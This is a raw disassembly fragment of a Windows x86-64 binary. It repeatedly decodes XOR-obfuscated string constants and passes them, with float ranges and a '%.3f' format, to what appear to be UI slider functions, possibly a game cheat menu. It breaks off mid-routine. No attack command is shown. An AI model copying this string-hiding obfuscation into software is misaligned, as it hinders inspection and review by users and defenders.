pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a13a0
cmp r8d, 0x16
jge 0x1400a14f0
movsxd rax, r8d
lea r9, [rbp + 0xf50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400a14c0
mov rax, qword [0x140145a78]
mov qword [rbp + 0x68], rax
cmp byte [0x140145a7f], 0
je 0x1400a1650
cmp r12d, 2
jl 0x1400a160d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68]
xorps xmm2, xmm1
movd dword [rbp + 0x68], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6c]
xorps xmm2, xmm1
movd dword [rbp + 0x6c], xmm2
jmp 0x1400a1650
lea r9, [rbp + 0x68]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400a1620
lea r8, [0x1401a9824]
lea rdx, [rbp + 0xf50]
lea rcx, [rbp + 0x68]
call fcn.14007f300
movups xmm0, xmmword [str.kNeLQ_F_3be_______M]
movups xmmword [rbp + 0xf68], xmm0
mov eax, dword [0x1401442c8]
mov dword [rbp + 0xf78], eax
movzx eax, word [0x1401442cc]
mov word [rbp + 0xf7c], ax
cmp byte [0x1401442cd], 0
je 0x1400a1830
mov r8d, r13d
cmp r12d, 2
jl 0x1400a17e9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xf6c]
mov edx, dword [rbp + 0x17a0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a16e0
cmp r8d, 0x16
jge 0x1400a1830
movsxd rax, r8d
lea r9, [rbp + 0xf68]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400a1800
mov rax, qword [0x140145aa8]
mov qword [rbp + 0x78], rax
cmp byte [0x140145aaf], 0
je 0x1400a1990
cmp r12d, 2
jl 0x1400a194d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x78]
xorps xmm2, xmm1
movd dword [rbp + 0x78], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c]
xorps xmm2, xmm1
movd dword [rbp + 0x7c], xmm2
jmp 0x1400a1990
lea r9, [rbp + 0x78]
mov r8d, r13d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400a1960
lea r8, [0x1401a981f]
lea rdx, [rbp + 0xf68]
lea rcx, [rbp + 0x78]
call fcn.14007f300
movsd xmm0, qword [str.K_FX]
movsd qword [rbp + 0x890], xmm0
mov eax, dword [0x1401448b8]
mov dword [rbp + 0x898], eax
movzx eax, word [0x1401448bc]
mov word [rbp + 0x89c], ax
cmp byte [0x1401448bd], 0
je 0x1400a1b30
mov r8d, r13d
cmp r12d, 2
jl 0x1400a1af3
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.K_FX]
xorps xmm2, xmm0
movd dword [rbp + 0x890], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x894]
xorps xmm2, xmm1
movd dword [rbp + 0x894], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x890]
add r9, rax
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400a1b00
movsd xmm0, qword [str.K_FX]
movsd qword [rbp + 0x880], xmm0
mov eax, dword [0x1401448b8]
mov dword [rbp + 0x888], eax
movzx eax, word [0x1401448bc]
mov word [rbp + 0x88c], ax
cmp byte [0x1401448bd], 0
je 0x1400a1cc0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a1c7c
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.K_FX]
xorps xmm2, xmm0
movd dword [rbp + 0x880], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x884]
xorps xmm2, xmm1
movd dword [rbp + 0x884], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x880]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400a1c90
lea r8, [0x1401a981e]
lea rdx, [rbp + 0x890]
lea rcx, [rbp + 0x880]
call fcn.14007f300
mov eax, dword [0x1401454f8]
mov dword [rbp + 0x1388], eax
movzx eax, word [0x1401454fc]
movups xmm0, xmmword [str.kNeLQ_F_3b00_._j_m_68_:_0V]
mov word [rbp + 0x138c], ax
movups xmmword [rbp + 0x1370], xmm0
movzx eax, byte [0x1401454fe]
movsd xmm0, qword [0x1401454f0]
mov byte [rbp + 0x138e], al
movsd qword [rbp + 0x1380], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a1e6a
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1374]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400a1d61
cmp r8d, 0x1f
jge 0x1400a1eb0
movsxd rax, r8d
lea r9, [rbp + 0x1370]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400a1e80
movzx eax, byte [0x140144fc0]
movups xmm0, xmmword [0x140144fb0]
mov byte [rbp + 0xb88], al
movups xmmword [rbp + 0xb78], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a2019
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb7c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a1f10
cmp r8d, 0x11
jge 0x1400a2060
movsxd rax, r8d
lea r9, [rbp + 0xb78]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400a2030
lea r8, [0x1401a981d]
lea rdx, [rbp + 0x1370]
lea rcx, [rbp + 0xb78]
call fcn.14007f300
movsd xmm0, qword [0x140145310]
movsd qword [rbp + 0x870], xmm0
mov eax, dword [0x140145318]
mov dword [rbp + 0x878], eax
movzx eax, word [0x14014531c]
mov word [rbp + 0x87c], ax
cmp byte [0x14014531d], 0
je 0x1400a2210
mov r8d, r13d
cmp r12d, 2
jl 0x1400a21c6
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145310]
xorps xmm2, xmm0
movd dword [rbp + 0x870], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x874]
xorps xmm2, xmm1
movd dword [rbp + 0x874], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x870]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400a21e0
mov dword [rbp + 0x1898], 0x41200000
mov dword [rbp + 0x1890], 0
mov dword [rsp + 0x30], r13d
lea rbx, str._.3f
mov qword [rsp + 0x28], rbx
lea rax, [rbp + 0x1898]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1890]
lea r8, [0x140160940]
mov edx, 8
lea rcx, [rbp + 0x870]
call fcn.14003b8c0
movsd xmm0, qword [str.VLeJRJ_A]
movsd qword [rbp + 0x380], xmm0
movzx eax, word [0x140146018]
mov word [rbp + 0x388], ax
cmp byte [0x140146019], 0
je 0x1400a22d1
mov byte [rbp + 0x380], 0x46
xor byte [rbp + 0x381], 0x39
xor byte [rbp + 0x382], 0x3a
xor byte [rbp + 0x383], 0x3b
xor byte [rbp + 0x384], 0x3c
xor byte [rbp + 0x385], 0x3d
xor byte [rbp + 0x386], 0x3e
xor byte [rbp + 0x387], 0x3f
xor byte [rbp + 0x388], 0x40
xor byte [rbp + 0x389], 0x41
mov dword [rbp + 0x1818], 0x43480000
mov dword [rbp + 0x1888], 0x3f800000
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], rbx
lea rax, [rbp + 0x1818]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1888]
lea r8, [0x1401a9820]
mov edx, 8
lea rcx, [rbp + 0x380]
call fcn.14003b8c0
mov rbx, qword [0x1401a97b0]
lea rcx, [rbp + 0x80]
call fcn.140016cd0
movss xmm0, dword [rax]
subss xmm0, dword [rbx + 0x3930]
movss dword [rbp + 0x88], xmm0
mov dword [rbp + 0x8c], 0x41c80000
movups xmm1, xmmword [0x140144928]
movups xmmword [rbp + 0xd40], xmm1
movzx eax, word [0x140144938]
mov word [rbp + 0xd50], ax
movzx eax, byte [0x14014493a]
mov byte [rbp + 0xd52], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a24c9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xd44]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a23c0
cmp r8d, 0x13
jge 0x1400a2510
movsxd rax, r8d
lea r9, [rbp + 0xd40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400a24e0
xor r8d, r8d
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xd40]
call fcn.140037850
test al, al
je 0x1400a253c
cmp byte [0x1401a9825], 0
sete byte [0x1401a9825]
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
mov eax, dword [0x140145860]
mov dword [rbp + 0x758], eax
movzx eax, byte [0x140145864]
movsd xmm0, qword [0x140145858]
mov byte [rbp + 0x75c], al
movsd qword [rbp + 0x750], xmm0
movaps xmm7, xmm9
movaps xmm6, xmm14
mov r8d, r13d
cmp r12d, 2
jl 0x1400a2694
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145858]
xorps xmm2, xmm0
movd dword [rbp + 0x750], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x754]
xorps xmm2, xmm1
movd dword [rbp + 0x754], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x750]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a26b0
mov eax, dword [str.upix_]
mov dword [rbp - 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x70], Ordinal_79
xor byte [rbp - 0x6f], 0x39
xor byte [rbp - 0x6e], 0x3a
xor byte [rbp - 0x6d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x6c], al
mov r9b, 1
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq r8, xmm0
lea rdx, [rbp + 0x750]
lea rcx, [rbp - 0x70]
call fcn.14007f140
movsd xmm0, qword [0x140145bf8]
movsd qword [rbp + 0x580], xmm0
mov eax, dword [0x140145c00]
mov dword [rbp + 0x588], eax
cmp byte [0x140145c03], 0
je 0x1400a28a0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a2861
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
